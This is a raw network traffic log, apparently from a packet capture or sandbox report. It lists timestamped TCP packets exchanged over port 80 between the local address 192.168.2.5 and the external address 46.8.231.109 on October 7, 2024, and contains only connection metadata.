Oct 7, 2024 17:22:06.874906063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874919891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874927998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874927998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874936104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874949932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874962091 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874962091 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874964952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874980927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874982119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874982119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.874995947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.874999046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875011921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875020027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875020027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875027895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875042915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875046968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875057936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875060081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875072002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875072956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875087976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875102997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875108957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875108957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875118017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875125885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875133991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875138044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875149965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875153065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875165939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875180960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875185013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875185013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875195980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875197887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875212908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875216007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875228882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875245094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875247955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875247955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875260115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875277042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875283003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875283003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875292063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875294924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875308037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875324011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875325918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875325918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875339031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875346899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875354052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.875375986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875375986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875391006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875679016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.875829935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876316071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876332998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876348019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876364946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876364946 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876365900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876380920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876385927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876396894 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876411915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876424074 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876424074 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876426935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876442909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876446962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876446962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876460075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876466036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876481056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876482964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876494884 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876498938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876513958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876529932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876532078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876532078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876543999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876552105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876560926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876566887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876575947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876580000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876591921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876593113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876607895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876627922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876629114 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876630068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876643896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876652002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876671076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876684904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876688004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876688004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876701117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876715899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876723051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876723051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876730919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876745939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876754045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876754045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876761913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876768112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876776934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876792908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876801014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876801014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876807928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876817942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876822948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876832962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876832962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876837969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876854897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876868963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876877069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876877069 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876884937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876892090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876899958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876914978 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876915932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876915932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876931906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876934052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876946926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876950979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876957893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876960993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876976967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.876981020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.876992941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877008915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877019882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877019882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877023935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877039909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877042055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877043009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877055883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877060890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877090931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877090931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877434015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877449036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877463102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877475023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877475023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877480030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877494097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877496004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877511978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877526999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877531052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877531052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877543926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877558947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877564907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877564907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877573967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877583027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877599001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877609968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877609968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877614975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877630949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877645969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877646923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877645969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877662897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877666950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877679110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877693892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877698898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877698898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877710104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877717972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877724886 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877729893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877748966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877748966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877763987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877779961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877784014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877795935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877795935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877804995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877820969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877831936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877831936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877839088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877851009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877851009 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877855062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877871037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877873898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877887964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877896070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877903938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877919912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877923965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877923965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877934933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877938986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877949953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877965927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877965927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877965927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877979994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.877980947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877994061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.877995014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878010035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878024101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878034115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878034115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878040075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878055096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878057003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878057003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878071070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878076077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878087044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878103018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878107071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878107071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878118992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878124952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878134012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878149033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878154039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878154039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878165960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878180981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878181934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878181934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878201962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878263950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878263950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878474951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878492117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878504992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878521919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878530025 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878530025 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878561974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878561974 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878638029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878654003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878669024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878684044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878689051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878689051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878699064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878707886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878715038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878730059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878735065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878735065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878745079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878766060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878766060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878771067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878787994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878803015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878809929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878809929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878818035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878834009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878837109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878837109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878849030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878855944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878865004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878871918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878880024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878884077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878895044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878899097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878911018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878920078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878933907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878950119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878952980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878952980 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878964901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878971100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878982067 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878984928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.878997087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.878998041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879013062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879028082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879028082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879028082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879044056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879048109 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879059076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879061937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879074097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879087925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879095078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879095078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879105091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879120111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879126072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879126072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879136086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879151106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879153967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879154921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879167080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879174948 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879182100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879188061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879199028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879204988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879214048 CEST	80	49704	46.8.231.109	192.168.2.5
